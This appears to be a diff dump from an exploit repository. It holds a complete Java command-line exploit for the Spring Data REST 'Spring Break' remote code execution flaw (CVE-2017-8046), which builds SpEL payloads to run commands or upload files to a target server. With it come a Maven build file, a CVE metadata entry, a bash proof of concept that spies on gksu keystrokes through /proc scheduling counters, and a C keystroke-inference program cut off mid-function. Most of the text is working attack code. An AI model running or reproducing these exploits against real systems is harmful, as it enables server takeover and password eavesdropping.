||||
COMMAND_PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";
|
||||
COMMAND_PAYLOAD += "?";
|
||||
COMMAND_PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";
|
||||
COMMAND_PAYLOAD += ":";
|
||||
COMMAND_PAYLOAD += "\\\"\\\"";
|
||||
COMMAND_PAYLOAD += ")+";
|
||||
COMMAND_PAYLOAD += "%s"; // The encoded command will be placed here.
|
||||
COMMAND_PAYLOAD += ").get%sStream()";
|
||||
COMMAND_PAYLOAD += ",";
|
||||
COMMAND_PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";
|
||||
COMMAND_PAYLOAD += ".getResponse().getOutputStream()";
|
||||
COMMAND_PAYLOAD += ").x";
|
||||
}
|
||||
|
||||
/**
|
||||
* Malicious SpEL-script for uploading files (like scripts, binaries, etc).
|
||||
*/
|
||||
private static String FILEUPLOAD_PAYLOAD;
|
||||
static {
|
||||
// Classes java.nio.file.* are only available in Java 7+.
|
||||
FILEUPLOAD_PAYLOAD = "T(java.nio.file.Files).write(";
|
||||
FILEUPLOAD_PAYLOAD += "T(java.nio.file.Paths).get(%s),";
|
||||
FILEUPLOAD_PAYLOAD += "T(java.util.Base64).getDecoder().decode(\\\"%s\\\")";
|
||||
FILEUPLOAD_PAYLOAD += ").x";
|
||||
}
|
||||
|
||||
/**
|
||||
* Error cause string that can be used to "clean the response."
|
||||
*/
|
||||
private static String ERROR_CAUSE = "{\"cause";
|
||||
|
||||
/**
|
||||
* Constant that will be used to get input stream.
|
||||
*/
|
||||
private static String INPUT_STREAM = "Input";
|
||||
|
||||
/**
|
||||
* Constant that will be used to get error stream.
|
||||
*/
|
||||
private static String ERROR_STREAM = "Error";
|
||||
|
||||
/**
|
||||
* The target URL.
|
||||
*/
|
||||
private URI url;
|
||||
|
||||
/**
|
||||
* Whether to skipSSL or not, default set to false
|
||||
*/
|
||||
private boolean skipSSL;
|
||||
|
||||
/**
|
||||
* The command that will be executed on the remote machine.
|
||||
*/
|
||||
private String command;
|
||||
|
||||
/**
|
||||
* Cookies that will be passed.
|
||||
*/
|
||||
private String cookies;
|
||||
|
||||
/**
|
||||
* Flag used to remove error messages in output due to
|
||||
* the usage of the exploit. It could hide error messages
|
||||
* if the request fails for other reasons.
|
||||
*/
|
||||
private boolean cleanResponse;
|
||||
|
||||
/**
|
||||
* This flag can be used to retrieve the error stream
|
||||
* in case the launched remote command fails unexpectedly.
|
||||
*/
|
||||
private boolean errorStream;
|
||||
|
||||
/**
|
||||
* Verbosity flag.
|
||||
*/
|
||||
private boolean verbose;
|
||||
|
||||
/**
|
||||
* Custom headers that will be passed.
|
||||
*/
|
||||
private List<String> customHeaders = new ArrayList<String>();
|
||||
|
||||
/**
|
||||
* Path that will point to a file on the local filesystem, which will
|
||||
* be uploaded. Uploads cannot be used in conjunction with commands in the
|
||||
* same request.
|
||||
*/
|
||||
private File localFileToUpload;
|
||||
|
||||
/**
|
||||
* Server will upload the file to this location, e.g. /tmp or C:\TEMP. This path
|
||||
* will be encoded to ensure that Spring will not convert slashes to dots.
|
||||
*/
|
||||
private String remoteUploadDirectory;
|
||||
|
||||
/**
|
||||
* Default constructor.
|
||||
*/
|
||||
public SpringBreakCve20178046() {
|
||||
this.verbose = false;
|
||||
this.cleanResponse = false;
|
||||
this.errorStream = false;
|
||||
this.skipSSL = false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Performs the exploit.
|
||||
*
|
||||
* @throws IOException
|
||||
* If something bad occurs during HTTP GET.
|
||||
*/
|
||||
public void exploit() throws IOException {
|
||||
checkInput();
|
||||
printInput();
|
||||
String payload = preparePayload();
|
||||
String response = httpPatch(payload);
|
||||
printOutput(response);
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks the input.
|
||||
*/
|
||||
private void checkInput() {
|
||||
if (this.url == null) {
|
||||
throw new IllegalArgumentException("URL must be passed.");
|
||||
}
|
||||
|
||||
if ((isEmpty(this.command) && this.localFileToUpload == null) || (!isEmpty(this.command) && this.localFileToUpload != null)) {
|
||||
throw new IllegalArgumentException("Either a command must be passed, or a file must be selected for upload.");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prints input if verbose flag is true.
|
||||
*/
|
||||
private void printInput() {
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Target URL ........: " + this.url);
|
||||
if (!isEmpty(this.command)) {
|
||||
System.out.println("[*] Command ...........: " + this.command);
|
||||
}
|
||||
if (this.localFileToUpload != null) {
|
||||
System.out.println("[*] File to upload ....: " + this.localFileToUpload.getAbsolutePath());
|
||||
if (!isEmpty(this.remoteUploadDirectory)) {
|
||||
System.out.println("[*] Remote upload dir .: " + this.remoteUploadDirectory);
|
||||
}
|
||||
}
|
||||
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));
|
||||
System.out.println("[*] Headers ...........: " + (this.customHeaders == null || this.customHeaders.isEmpty() ? "(no headers)" : "(" + this.customHeaders.size() + " headers)"));
|
||||
if (this.customHeaders != null && !this.customHeaders.isEmpty()) {
|
||||
for (String header : this.customHeaders) {
|
||||
System.out.println(" > " + header);
|
||||
}
|
||||
}
|
||||
System.out.println("[*] Clean response ....: " + this.cleanResponse);
|
||||
System.out.println("[*] Ret error stream ..: " + this.errorStream);
|
||||
System.out.println("[*] Verbose ...........: " + this.verbose);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Prepares the payload.
|
||||
*
|
||||
* @return The malicious payload that will be injected.
|
||||
*/
|
||||
private String preparePayload() {
|
||||
System.out.println("[*] Preparing payload.");
|
||||
String payload = null;
|
||||
|
||||
// Send a command to the server:
|
||||
if (!isEmpty(this.command)) {
|
||||
String encodedCommand = encode(this.command); // Encoding inserted command.
|
||||
String maliciousSpEL = String.format(COMMAND_PAYLOAD, encodedCommand, isErrorStream() ? ERROR_STREAM : INPUT_STREAM);
|
||||
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL); // Placing payload into JSON Patch object.
|
||||
}
|
||||
|
||||
// Upload a file to the server:
|
||||
else if (this.localFileToUpload != null) {
|
||||
try {
|
||||
// Remote preparing filename / directory.
|
||||
String filename = this.localFileToUpload.getName();
|
||||
if (remoteUploadDirectory != null) {
|
||||
filename = remoteUploadDirectory + filename;
|
||||
filename = encode(filename);
|
||||
}
|
||||
|
||||
// Reading file content to byte[] instead of string avoids potential text encoding issues.
|
||||
byte[] rawFileContent = FileUtils.readFileToByteArray(this.localFileToUpload);
|
||||
String encodedFileContent = Base64.encodeBase64String(rawFileContent);
|
||||
String maliciousSpEL = String.format(FILEUPLOAD_PAYLOAD, filename, encodedFileContent);
|
||||
payload = String.format(JSON_PATCH_OBJECT, maliciousSpEL);
|
||||
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Payload ...........: " + payload);
|
||||
}
|
||||
|
||||
return payload;
|
||||
}
|
||||
|
||||
/**
|
||||
* Encodes the inserted command.
|
||||
*
|
||||
* @return The encoded command.
|
||||
*/
|
||||
private String encode(String command) {
|
||||
StringBuffer encodedCommand = new StringBuffer("(new java.lang.String(new char[]{");
|
||||
|
||||
int commandLength = command.length();
|
||||
for (int i = 0; i < commandLength; i++) {
|
||||
encodedCommand.append((int) command.charAt(i));
|
||||
if (i + 1 < commandLength) {
|
||||
encodedCommand.append(",");
|
||||
}
|
||||
}
|
||||
|
||||
encodedCommand.append("}))");
|
||||
|
||||
if (isVerbose()) {
|
||||
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());
|
||||
}
|
||||
|
||||
return encodedCommand.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* HTTP PATCH operation on the target passing the malicious payload.
|
||||
*
|
||||
* @param payload
|
||||
* The malicious payload.
|
||||
* @return The response as a string.
|
||||
* @throws IOException
|
||||
* If something bad occurs during HTTP GET.
|
||||
*/
|
||||
private String httpPatch(String payload) throws IOException {
|
||||
System.out.println("[*] Sending payload.");
|
||||
|
||||
// Preparing PATCH operation.
|
||||
HttpClientBuilder clientBuilder = HttpClientBuilder.create();
|
||||
|
||||
// Disable SSL Verification
|
||||
if(this.url.getScheme().equalsIgnoreCase("https") && this.skipSSL){
|
||||
try{
|
||||
SSLContextBuilder sslBuilder = new SSLContextBuilder();
|
||||
sslBuilder.loadTrustMaterial(null, new TrustSelfSignedStrategy());
|
||||
// Since certificates contain hostnames, not ip addresses, if we try https://ipAddress
|
||||
// a SSLPeerUnverifiedException would be thrown because hostname in certificate does not match
|
||||
// ip used in https://ipAddress, to avoid that error we need to use the overloaded constructor taking as second arg NoopHostnameVerifier.
|
||||
SSLConnectionSocketFactory sslConnectionFactory = new SSLConnectionSocketFactory(sslBuilder.build(), NoopHostnameVerifier.INSTANCE);
|
||||
clientBuilder.setSSLSocketFactory(sslConnectionFactory);
|
||||
} catch(Exception exception) {
|
||||
// Errors that may be thrown: KeyManagementException, KeyStoreException, NoSuchAlgorithmException, SSLPeerUnverifiedException
|
||||
throw new RuntimeException(exception);
|
||||
}
|
||||
}
|
||||
|
||||
HttpClient client = clientBuilder.build();
|
||||
|
||||
HttpPatch patch = new HttpPatch(this.url);
|
||||
patch.setHeader("User-Agent", "Mozilla/5.0");
|
||||
patch.setHeader("Accept-Language", "en-US,en;q=0.5");
|
||||
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.
|
||||
if (!isEmpty(this.cookies)) {
|
||||
patch.setHeader("Cookie", this.cookies);
|
||||
}
|
||||
if (!customHeaders.isEmpty()) {
|
||||
for (String header : this.customHeaders) {
|
||||
String key = header.split(":")[0];
|
||||
String value = header.split(":")[1];
|
||||
patch.setHeader(key, value);
|
||||
}
|
||||
}
|
||||
patch.setEntity(new StringEntity(payload));
|
||||
|
||||
// Response string.
|
||||
StringBuffer response = new StringBuffer();
|
||||
|
||||
// Executing PATCH operation.
|
||||
HttpResponse httpResponse = client.execute(patch);
|
||||
if (httpResponse != null) {
|
||||
|
||||
// Reading response code.
|
||||
if (httpResponse.getStatusLine() != null) {
|
||||
int responseCode = httpResponse.getStatusLine().getStatusCode();
|
||||
System.out.println("[*] HTTP " + responseCode);
|
||||
} else {
|
||||
System.out.println("[!] HTTP response code can't be read.");
|
||||
}
|
||||
|
||||
// Reading response content.
|
||||
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {
|
||||
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
|
||||
String inputLine;
|
||||
|
||||
while ((inputLine = in.readLine()) != null) {
|
||||
response.append(inputLine);
|
||||
response.append(System.getProperty("line.separator"));
|
||||
}
|
||||
in.close();
|
||||
} else {
|
||||
System.out.println("[!] HTTP response content can't be read.");
|
||||
}
|
||||
|
||||
} else {
|
||||
System.out.println("[!] HTTP response is null.");
|
||||
}
|
||||
|
||||
return response.toString();
|
||||
}
|
||||
|
||||
/**
|
||||
* Prints output.
|
||||
*
|
||||
* @param response
|
||||
* Response that will be printed.
|
||||
*/
|
||||
private void printOutput(String response) {
|
||||
if (!isEmpty(response)) {
|
||||
System.out.println("[*] vvv Response vvv");
|
||||
|
||||
// Cleaning response (if possible).
|
||||
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {
|
||||
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];
|
||||
System.out.println(cleanedResponse);
|
||||
} else {
|
||||
System.out.println(response);
|
||||
}
|
||||
|
||||
System.out.println("[*] ^^^ ======== ^^^");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if an input string is null/empty or not.
|
||||
*
|
||||
* @param input
|
||||
* The input string to check.
|
||||
* @return True if the string is null or empty, false otherwise.
|
||||
*/
|
||||
private boolean isEmpty(String input) {
|
||||
boolean isEmpty;
|
||||
|
||||
if (input == null || input.trim().length() < 1) {
|
||||
isEmpty = true;
|
||||
} else {
|
||||
isEmpty = false;
|
||||
}
|
||||
|
||||
return isEmpty;
|
||||
}
|
||||
|
||||
/* Getters and setters. */
|
||||
|
||||
public boolean isVerbose() {
|
||||
return verbose;
|
||||
}
|
||||
|
||||
public void setVerbose(boolean verbose) {
|
||||
this.verbose = verbose;
|
||||
}
|
||||
|
||||
public void setUrl(String url) throws URISyntaxException {
|
||||
if (isEmpty(url)) {
|
||||
throw new IllegalArgumentException("URL must be not null and not empty.");
|
||||
}
|
||||
|
||||
this.url = new URI(url.trim());
|
||||
}
|
||||
|
||||
public void setCommand(String command) {
|
||||
if (isEmpty(command)) {
|
||||
throw new IllegalArgumentException("Command must be not null and not empty.");
|
||||
}
|
||||
|
||||
this.command = command.trim();
|
||||
}
|
||||
|
||||
public void setCookies(String cookies) {
|
||||
if (cookies != null) {
|
||||
cookies = cookies.trim();
|
||||
}
|
||||
|
||||
this.cookies = cookies;
|
||||
}
|
||||
|
||||
public void setSkipSSL(boolean skipSSL){
|
||||
this.skipSSL = skipSSL;
|
||||
}
|
||||
|
||||
public void setCustomHeader(String customHeader) {
|
||||
if (customHeader != null && customHeader.contains(":") && !customHeader.startsWith(":") && !customHeader.endsWith(":")) {
|
||||
customHeader = customHeader.trim();
|
||||
this.customHeaders.add(customHeader);
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isCleanResponse() {
|
||||
return cleanResponse;
|
||||
}
|
||||
|
||||
public void setCleanResponse(boolean cleanResponse) {
|
||||
this.cleanResponse = cleanResponse;
|
||||
}
|
||||
|
||||
public boolean isErrorStream() {
|
||||
return errorStream;
|
||||
}
|
||||
|
||||
public void setErrorStream(boolean errorStream) {
|
||||
this.errorStream = errorStream;
|
||||
}
|
||||
|
||||
public void setLocalFileToUpload(String localFileToUpload) {
|
||||
if (isEmpty(localFileToUpload)) {
|
||||
throw new IllegalArgumentException("Filename must not be null and not empty.");
|
||||
}
|
||||
|
||||
File upload = new File(localFileToUpload);
|
||||
if (!upload.exists() || !upload.isFile() || !upload.canRead()) {
|
||||
throw new IllegalArgumentException("File to upload does not exist or is not readable: " + upload.getAbsolutePath());
|
||||
}
|
||||
|
||||
this.localFileToUpload = upload;
|
||||
}
|
||||
|
||||
public void setRemoteUploadDirectory(String remoteUploadDirectory) {
|
||||
if (!remoteUploadDirectory.endsWith("/")) {
|
||||
remoteUploadDirectory += "/";
|
||||
}
|
||||
this.remoteUploadDirectory = remoteUploadDirectory;
|
||||
}
|
||||
|
||||
/**
|
||||
* Shows the program help.
|
||||
*/
|
||||
public static final void help() {
|
||||
System.out.println("Usage:");
|
||||
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");
|
||||
System.out.println("Description:");
|
||||
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");
|
||||
System.out.println("Options:");
|
||||
System.out.println(" -h, --help");
|
||||
System.out.println(" Prints this help and exits.");
|
||||
System.out.println(" -u, --url [target_URL]");
|
||||
System.out.println(" The target URL where the exploit will be performed.");
|
||||
System.out.println(" You have to choose an existent resource.");
|
||||
System.out.println(" -cmd, --command [command_to_execute]");
|
||||
System.out.println(" The command that will be executed on the remote machine.");
|
||||
System.out.println(" -U, --upload [file_to_upload]");
|
||||
System.out.println(" File to upload to the remote machine. Will be uploaded to the current working");
|
||||
System.out.println(" directory of the Java process. Warning: this will only succeed on a server running");
|
||||
System.out.println(" JRE-1.7 or later.");
|
||||
System.out.println(" --remote-upload-directory [/some/existing/path/]");
|
||||
System.out.println(" Optional. Server will attempt to write the uploaded file to this directory on the");
|
||||
System.out.println(" filesystem. Specified directory must exist and be writeable.");
|
||||
System.out.println(" --cookies [cookies]");
|
||||
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");
|
||||
System.out.println(" -H, --header [custom_header]");
|
||||
System.out.println(" Optional. Custom header passed into the request, e.g. authorization header.");
|
||||
System.out.println(" -k");
|
||||
System.out.println(" Skip SSL validation");
|
||||
System.out.println(" --clean");
|
||||
System.out.println(" Optional. Removes error messages in output due to the usage of the");
|
||||
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");
|
||||
System.out.println(" --error-stream");
|
||||
System.out.println(" Optional. In case of errors the command will fail and the error stream will");
|
||||
System.out.println(" not be returned. This option can be used to relaunch the remote command");
|
||||
System.out.println(" returning the error stream.");
|
||||
System.out.println(" -v, --verbose");
|
||||
System.out.println(" Optional. Increase verbosity.");
|
||||
}
|
||||
|
||||
/**
|
||||
* Main method.
|
||||
*
|
||||
* @param args
|
||||
* Input arguments
|
||||
*/
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);
|
||||
SpringBreakCve20178046 o = new SpringBreakCve20178046();
|
||||
|
||||
if (args.length > 0) {
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
|
||||
String p = args[i];
|
||||
|
||||
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {
|
||||
SpringBreakCve20178046.help();
|
||||
return;
|
||||
} else if ("-u".equals(p) || "--url".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("URL must be passed.");
|
||||
}
|
||||
o.setUrl(args[++i]);
|
||||
|
||||
} else if ("-U".equals(p) || "--upload".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("File must be passed, if specified.");
|
||||
}
|
||||
o.setLocalFileToUpload(args[++i].trim());
|
||||
|
||||
} else if ("--remote-upload-directory".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Remote directory must be passed, if specified.");
|
||||
}
|
||||
o.setRemoteUploadDirectory(args[++i].trim());
|
||||
|
||||
} else if ("-cmd".equals(p) || "--command".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Command must be passed.");
|
||||
}
|
||||
o.setCommand(args[++i]);
|
||||
|
||||
} else if ("--cookies".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Cookies must be passed, if specified.");
|
||||
}
|
||||
o.setCookies(args[++i]);
|
||||
|
||||
} else if ("-k".equals(p)) {
|
||||
|
||||
o.setSkipSSL(true);
|
||||
|
||||
} else if ("-H".equals(p) || "--header".equals(p)) {
|
||||
|
||||
if (i + 1 > args.length - 1) {
|
||||
throw new IllegalArgumentException("Custom header must be passed, if specified.");
|
||||
}
|
||||
o.setCustomHeader(args[++i]);
|
||||
|
||||
} else if ("--clean".equals(p)) {
|
||||
o.setCleanResponse(true);
|
||||
} else if ("--error-stream".equals(p)) {
|
||||
o.setErrorStream(true);
|
||||
} else if ("-v".equals(p) || "--verbose".equals(p)) {
|
||||
o.setVerbose(true);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Performing the exploit.
|
||||
o.exploit();
|
||||
|
||||
} else { // Wrong number of arguments.
|
||||
SpringBreakCve20178046.help();
|
||||
return;
|
||||
}
|
||||
|
||||
} catch (URISyntaxException use) {
|
||||
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());
|
||||
} catch (IllegalArgumentException iae) {
|
||||
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());
|
||||
} catch (Exception e) {
|
||||
System.out.println("[!] Unexpected exception: " + e.getMessage());
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,68 @@
|
|||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.afs.exploit</groupId>
|
||||
<artifactId>spring-break_cve-2017-8046</artifactId>
|
||||
<version>1.3</version>
|
||||
<name>spring-break_cve-2017-8046</name>
|
||||
<description>This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).</description>
|
||||
<properties>
|
||||
<maven.compiler.source>1.7</maven.compiler.source>
|
||||
<maven.compiler.target>1.7</maven.compiler.target>
|
||||
</properties>
|
||||
<build>
|
||||
<sourceDirectory>src/main/java</sourceDirectory>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<artifactId>maven-compiler-plugin</artifactId>
|
||||
<version>3.1</version>
|
||||
<configuration>
|
||||
<source/>
|
||||
<target/>
|
||||
</configuration>
|
||||
</plugin>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-assembly-plugin</artifactId>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>package</phase>
|
||||
<goals>
|
||||
<goal>single</goal>
|
||||
</goals>
|
||||
<configuration>
|
||||
<archive>
|
||||
<manifest>
|
||||
<mainClass>com.afs.exploit.spring.SpringBreakCve20178046</mainClass>
|
||||
</manifest>
|
||||
</archive>
|
||||
<descriptorRefs>
|
||||
<descriptorRef>jar-with-dependencies</descriptorRef>
|
||||
</descriptorRefs>
|
||||
</configuration>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>org.apache.httpcomponents</groupId>
|
||||
<artifactId>httpclient</artifactId>
|
||||
<version>4.5.5</version>
|
||||
</dependency>
|
||||
|
||||
<!--
|
||||
This dependency is used for file-handling (uploads). But it's a tradeoff. The options are:
|
||||
a) write long and non-elegant filehandling-code manually without libraries and basic java-features
|
||||
b) write readable code, no library, but sacrifice compatibility by using Java-1.7+ file-handling features
|
||||
c) write short code, use this library and be Java-1.5+ compatible.
|
||||
Option C was chosen:
|
||||
-->
|
||||
<dependency>
|
||||
<groupId>commons-io</groupId>
|
||||
<artifactId>commons-io</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
<url>https://github.com/m3ssap0/spring-break_cve-2017-8046</url>
|
||||
</project>
|
|
@ -0,0 +1,21 @@
|
|||
id: CVE-2017-8046
|
||||
source:
|
||||
https://github.com/m3ssap0/spring-break_cve-2017-8046
|
||||
info:
|
||||
name: Spring框架是 Java 平台的一个开源的全栈(full-stack)应用程序框架和控制反转容器实现,一般被直接称为 Spring。
|
||||
severity: high
|
||||
description: |
|
||||
在2.5.12、2.6.7、3.0 RC3之前的Pivotal spring data rest版本、2.0.0M4之前的spring Boot版本以及Kay-RC3之前的spring data发布序列中,提交给spring data rest服务器的恶意PATCH请求可以使用特制的JSON数据来运行任意Java代码。
|
||||
scope-of-influence:
|
||||
Pivotal spring data rest 2.5.x (<2.5.12)
|
||||
spring Boot 2.0.x (<2.0.0)
|
||||
reference:
|
||||
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046
|
||||
classification:
|
||||
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2017-8046
|
||||
cwe-id: CWE-20
|
||||
cnvd-id: None
|
||||
kve-id: None
|
||||
tags: cve2017, spring-framework
|
|
@ -0,0 +1,57 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# A PoC for spying for keystrokes in gksu in Linux <= 3.1.
|
||||
#
|
||||
# /proc/$PID/{sched,schedstat} are world readable, so we can just loop
|
||||
# on one CPU core while the victim is executed on another, and spy for
|
||||
# the changes of scheduling counters. The PoC counts only keystrokes number,
|
||||
# but it can be easily extended to note the delays between the keystrokes
|
||||
# and do the statistical analysis to learn the input characters. See
|
||||
# e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
|
||||
# Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
|
||||
#
|
||||
# It is NOT stable, it only shows a design flaw (the lack of proper
|
||||
# permission model of procfs debugging counters). The constants are true
|
||||
# for the author's system only and don't take into account other sources of
|
||||
# gksu CPU activity.
|
||||
#
|
||||
# by segoon from openwall
|
||||
#
|
||||
# run as: spy-sched gksu
|
||||
|
||||
PNAME="$1"
|
||||
|
||||
while :; do
|
||||
PID=`pgrep "$PNAME"`
|
||||
if [ -n "$PID" ]; then
|
||||
echo $PID
|
||||
cd /proc/$PID/
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
S=0.0
|
||||
while :; do
|
||||
V=`grep se.exec_start sched 2>/dev/null | cut -d: -f2-`
|
||||
[ -z "$V" ] && break
|
||||
if [ "$V" != "$S" ]; then
|
||||
VAL=`echo "$V - $S" | bc -l`
|
||||
VALI=`echo $VAL | cut -d. -f1`
|
||||
[ -z "$VALI" ] && VALI=0
|
||||
|
||||
if [ "$VALI" -le 815 -a "$VALI" -ge 785 ]; then
|
||||
# Cursor appeared
|
||||
:
|
||||
elif [ $VALI -le 415 -a $VALI -ge 385 ]; then
|
||||
# Cursor disappeared
|
||||
:
|
||||
elif [ $VALI -ge 150 ]; then
|
||||
echo "$VAL (KEY PRESSED)"
|
||||
else
|
||||
echo "$VAL"
|
||||
fi
|
||||
|
||||
S=$V
|
||||
fi
|
||||
done
|
|
@ -0,0 +1,14 @@
|
|||
A PoC for spying for keystrokes in gksu in Linux <= 3.1.
|
||||
|
||||
/proc/$PID/{sched,schedstat} are world readable, so we can just loop
|
||||
on one CPU core while the victim is executed on another, and spy for
|
||||
the changes of scheduling counters. The PoC counts only keystrokes number,
|
||||
but it can be easily extended to note the delays between the keystrokes
|
||||
and do the statistical analysis to learn the input characters. See
|
||||
e.g. "Peeping Tom in the Neighborhood: Keystroke Eavesdropping on
|
||||
Multi-User Systems" by Kehuan Zhang and XiaoFeng Wang.
|
||||
|
||||
It is NOT stable, it only shows a design flaw (the lack of proper
|
||||
permission model of procfs debugging counters). The constants are true
|
||||
for the author's system only and don't take into account other sources of
|
||||
gksu CPU activity.
|
|
@ -0,0 +1,178 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
int i8042_number;
|
||||
int ints[1024], ints_prev[1024], ints_delta[1024];
|
||||
|
||||
char buffer[1024];
|
||||
|
||||
int reread_ints(int *interrupts, int int_count, char **names)
|
||||
{
|
||||
int i;
|
||||
int n, c1, c2;
|
||||
char s1[1024], s2[1024];
|
||||
|
||||
int interrupts_fd;
|
||||
FILE *interrupts_file;
|
||||
|
||||
interrupts_fd = open("/proc/interrupts", O_RDONLY);
|
||||
if (interrupts_fd == -1)
|
||||
err(1, "open(\"/proc/interrupts\")");
|
||||
|
||||
interrupts_file = fdopen(interrupts_fd, "r");
|
||||
if (interrupts_file == NULL)
|
||||
err(1, "fdopen");
|
||||
|
||||
if (fseek(interrupts_file, 0, SEEK_SET) < 0)
|
||||
err(1, "lseek");
|
||||
|
||||
fgets(buffer, sizeof(buffer), interrupts_file);
|
||||
|
||||
for (i = 0; i < int_count; i++) {
|
||||
if (fgets(buffer, sizeof(buffer), interrupts_file) == NULL) {
|
||||
fclose(interrupts_file);
|
||||
return i;
|
||||
}
|
||||
|
||||
if (sscanf(buffer, "%d: %d %d %s %s", &n, &c1, &c2, s1, s2) < 3) {
|
||||
fclose(interrupts_file);
|
||||
return i;
|
||||
}
|
||||
|
||||
if (names != NULL && names[i] == NULL)
|
||||
names[i] = strdup(s2);
|
||||
|
||||
interrupts[i] = c1 + c2;
|
||||
}
|
||||
|
||||
fclose(interrupts_file);
|
||||
return int_count;
|
||||
}
|
||||
|
||||
void init_i8042_number(void)
|
||||
{
|
||||
int i;
|
||||
int can_be_keyboard[1024];
|
||||
char *names[1024];
|
||||
int number_of_interrups, can_be_keyboard_numbers;
|
||||
|
||||
number_of_interrups = reread_ints(ints_prev, sizeof(ints_prev), names);
|
||||
|
||||
/*
|
||||
* Identify the i8042 interrupt associated with the keyboard by:
|
||||
* 1) name should be i8042
|
||||
* 2) interrupts count emitted in one second shouldn't be more than 100
|
||||
*/
|
||||
for (i = 0; i < number_of_interrups; i++)
|
||||
can_be_keyboard[i] = strcmp(names[i], "i8042") == 0;
|
||||
|
||||
while (1) {
|
||||
sleep(1);
|
||||
reread_ints(ints, sizeof(ints), NULL);
|
||||
|
||||
can_be_keyboard_numbers = 0;
|
||||
for (i = 0; i < number_of_interrups; i++) {
|
||||
can_be_keyboard[i] &= (ints[i] - ints_prev[i]) < 100;
|
||||
if (can_be_keyboard[i])
|
||||
can_be_keyboard_numbers++;
|
||||
|
||||
ints_prev[i] = ints[i];
|
||||
}
|
||||
|
||||
if (can_be_keyboard_numbers == 1) {
|
||||
for (i = 0; i < number_of_interrups; i++)
|
||||
if (can_be_keyboard[i]) {
|
||||
i8042_number = i;
|
||||
printf("i8042 keyboard is #%d\n", i);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int i8042_read(void)
|
||||
{
|
||||
reread_ints(ints, sizeof(ints), NULL);
|
||||
ints_prev[i8042_number] = ints[i8042_number];
|
||||
|
||||
return ints[i8042_number];
|
||||
}
|
||||
|
||||
int wait_for_program(char *pname)
|
||||
{
|
||||
FILE *f;
|
||||
int pid;
|
||||
char s[1024];
|
||||
|
||||
snprintf(s, sizeof(s), "while :; do pgrep %s >/dev/null && break;"
|
||||
" sleep 0.1; done", pname);
|
||||
system(s);
|
||||
snprintf(s, sizeof(s), "pgrep %s", pname);
|
||||
f = popen(s, "r");
|
||||
if (f == NULL)
|
||||
err(1, "popen");
|
||||
